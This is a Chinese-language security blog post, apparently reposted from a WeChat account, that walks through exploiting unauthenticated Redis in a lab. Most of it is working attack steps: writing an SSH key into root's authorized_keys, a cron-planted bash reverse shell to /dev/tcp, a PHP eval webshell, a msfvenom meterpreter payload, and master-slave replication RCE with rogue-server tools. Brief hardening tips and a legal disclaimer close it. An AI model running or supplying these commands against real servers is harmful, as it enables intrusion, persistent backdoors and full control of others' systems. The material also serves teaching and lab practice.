Redis未授权访问/主从复制

admin 2024年2月15日20:29:23评论11 views字数 6596阅读21分59秒阅读模式

前言

Redis未授权访问/主从复制

Redis介绍

Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:

  •    基于内存运行,性能高效

  •    支持分布式,理论上可以无限扩展

  •    key-value存储系统

  • 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

目前guthub/twitter/微博/阿里/美团/百度等大厂都在使用Redis,Redis 的应用场景包括:缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统。

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

影响版本

redis-4.0.10 之前的版本 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

redis-4.0.10 之后的版本 默认开启了保护模式,仅允许本地无密码验证连接。如果再想利用,可能就要考虑弱口令和配置错误了。

提权攻击:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

默认端口:6379

sentinel.conf配置器端口为:26379

环境搭建

攻击机:kali-192.168.1.128靶机:Centos7-192.168.1.8

Redis-4.0.8安装

kali一般安装有redis,这里在演示,CentOS7安装redis。

1.下载
wget http://download.redis.io/releases/redis-4.0.9.tar.gz

2.解压
tar -zxvf redis-4.0.9.tar.gz

3.进入解压好的文件内
cd ./redis-2.0.9

3.安装,时间可能长一些
make

5.再次make test

提示在src目录下make test。

cd ./src ; make test

可能能会报tcl的错误,如【You need tcl 8.5 or newer in order to run the Redis test】,如果你没有报这个就跳过,解决办法:【yum install tcl】

2.2 配置文件修改

修改redis.conf配置文件,关闭保护模式使可以远程访问:  

1. 进入/redis-4.0.9/src/目录下cp redis-server /usr/bin2. 回到/redis-4.0.9/目录下cp redis.conf /etc3.编辑在etc目录中的redis.conf文件vim /etc/redis.conf1)去掉IP绑定,允许除本地外的主机登陆redis服务;(bind 127.0.0.1前面加上#号 )2)修改protected-mode为no,关闭保护模式,允许远程连接redis服务(protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接。)这个步骤将会关闭保护模式,防止下面kali在info时报错

防止复现的过程中报错,关闭Linux的防火墙配置。

iptables -Fsetenforce 0systemctl stop firewalld.service

启动CentOS7 redis服务端

redis-server /etc/redis.conf

使用kali客户端进行连接测试。

redis-cli -h 192.168.1.8

可以看到不需要输入密码就可以远程连接redis,可以执行info查看redis的安装路径,服务器内核信息进程IP、内存CPU等信息。

Redis未授权访问/主从复制

Apache+php安装

在CentOS 7安装Apache,通过redis向服务器写webshell的时候会用到。

1.yum install httpd2.systemctl enable httpd3.systemctl start httpd4.systemctl status httpd访问IP参考笔记:https://www.php.cn/apache/424486.html

安装php

1.yum install php2.systemctl restart httpd3.在根目录创建文件echo "<?php phpinfo();?>" > /var/www/html/index.php2.测试php是否正常http://192.168.1.9/index.php参考笔记:https://www.php.cn/php-ask-483220.html

Redis未授权访问漏洞

漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

漏洞危害以及利用方式

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据。

  • 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件。

  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

1)利用redis写ssh公钥实现ssh登录

漏洞原理

在数据库中插入一条数据,将本机的公钥作为value,key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

利用条件:

redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入。

利用过程

01

确保CentOS 7 ssh服务开启着:

1.查看ssh服务状态systemctl status sshd.service

尝试使用Kali远程连接ssh:ssh [email protected],可以看到需要登密码。

Redis未授权访问/主从复制

02

攻击机(Kali)上创建ssh-rsa密钥,也就是生成key,这里什么也不输入,连续回车三次。

ssh-keygen -t rsa

Your public key has been saved in /root/.ssh/id_rsa.pub

可以看到生成的公钥已将保存到/root/.ssh/id_rsa.pub路径下,输入ls -al /root/.ssh/命令可以看到保存的公钥文件。

03

将公钥导入key.txt,(前后用n换行,避免和redis里其他缓存数据混合,是用于防止乱码);  

cd /root/.ssh/(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > key.txt

ls -al /root/.ssh/可以查看生成的key.txt文件,使用cat /root/.ssh/key.txt查看密钥内容。

04

Kali通过redis的未授权访问漏洞,将key.txt生成的公钥写入靶机服务器的内存之中:

cat key.txt | redis-cli -h 192.168.1.8 -x set crack

-x代表从标准输入读取数据作为该命令的最后一个参数。

Kali通过redis远程登陆,输入key *,查看crack,输入get crack查看公钥内容。

Redis未授权访问/主从复制

05

设置路径和保存的文件名,将内存变量导入磁盘文件。

config set dir /root/.sshconfig set dbfilename authorized_keyssave

注意:这里报错(error) ERR Changing directory: No such file or directory的意思是靶机没有这个文件目录, 原因是.ssh 是记录密码信息的文件夹,如果没有用root用户登录过的话,就没有 .ssh 文件夹,所以我们在靶机上执行下面这条命令(mkdir /root/.ssh)手动创建.ssh目录。

06

靶机(CentOS 7)可以执行cat /root/.ssh/authorized_keys查看公钥已经成功导入;此时,在攻击机(Kali)这里用ssh连接靶机,可成功连接。  

ssh -i id_rsa root@192.168.1.8

ifconfig查看ssh成功连接。

2)利用计划任务反弹shell

漏洞原理

利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron/crontabs下来执行;(/crontabskali系统下的计划任务文件夹。)

漏洞复现

01

在Attacker(Kali)上建立起nc监听。

nc -lvvp 3344

02

在Attacker(Kali)上未授权访问Redis

redis-cli -h 192.168.138.128

然后输入以下命令。

set xx "nn * * * * * /bin/bash -i >& /dev/tcp/192.168.1.128/3344 0>&1 nn"config set dir /var/spool/cron/config set dbfilename rootsave

02

过一会儿,nc就会监听到反弹的shell,要想进一步利用,就可以使用msf生成payload,放在自己的VPS上。将paylaod下载到靶机上,并运行,将shell反弹给msf。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf

3)利用redis写入Webshell

利用条件:

  • 服务器开着web服务

  • redis有web目录写权限,可以往web路径写入文件

复现过程:

01

在攻击机Kali上未授权访问Redis。

redis-cli -h 192.168.138.128

02

通过redis-cli向apache的/var/www/html目录下写webshell文件,并使用蚁剑连接。

config set dir /var/www/htmlconfig set dbfilename shell.phpset websehll "nn<?php @eval($_POST[cmd])?>nn"save

03

访问192.168.1.8/shell.php使webshell脚本生效,再使用蚁剑连接。

Redis主从复制 GetShell

4.1漏洞原理

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意.so文件,即可执行命令。

4.2利用条件

  • 影响版本:Redis 4.x/5.x (<= 5.0.5)

  • 漏洞类型:RCE

  • 利用条件:未授权或者弱口令外网访问redis 服务

4.3漏洞复现

这里使用了两款工具进行主从复制漏洞的复现。

1)工具一:redis-rogue-server

该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。

如果存在密码可以使用下面这个工具。

2)工具二:Awsome-Redis-Rogue-Server

  1. 利用工具反弹shell:可以执行一下语句进行反弹shell。

python3 redis-rogue-server.py --rhost 192.168.138.128 --lhost 192.168.0.101

--rhost [靶机]--lhost [黑客攻击],运行时可能存在编码错误,将.py文件改为gbk编码

注意:脚本运行的时候,有两种模式【i】交互式,也就是命令行;【r】反弹shell。

反弹shell:

Redis未授权访问/主从复制

交互模式:

Redis未授权访问/主从复制

这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。 

防护建议

  1. 将redis版本升级到4.x/5.05或以上;

  2. 将redis的默认端口号6379修改为其他端口号并避免redis端口暴露在公网;

  3. 设置密码认证(一般为空),可以免密码远程登陆redis服务;

  4. 利用防火墙对访问redis服务器的流量进行检测拦截;

  5. 绑定内网ip地址进行访问。

参考链接:

  1. https://www.freebuf.com/articles/web/289231.html

  2. https://blog.csdn.net/weixin_45605352/article/details/118790775

  3. https://www.bilibili.com/video/BV1me411g7TH/(视频:未授权访问/写ssh公钥/写webshell文件)

  4. http://www.luckysec.cn/posts/8a8aba13.html(Redis未授权漏洞总结)

  5. https://blog.csdn.net/weixin_39664643/article/details/112966774()

  6. https://www.jb51.net/article/217137.htm(关于Redis未授权访问的问题_Redis_脚本之家)

Redis未授权访问漏洞复现与GETSHELL利用方法汇总(含靶场搭建)

Redis 基于主从复制的 RCE 利用方式

python脚本实现Redis未授权批量提权_Redis_脚本之家

Redis未授权访问/主从复制

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):Redis未授权访问/主从复制

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日20:29:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis未授权访问/主从复制http://cn-sec.com/archives/2166665.html

发表评论

匿名网友 填写信息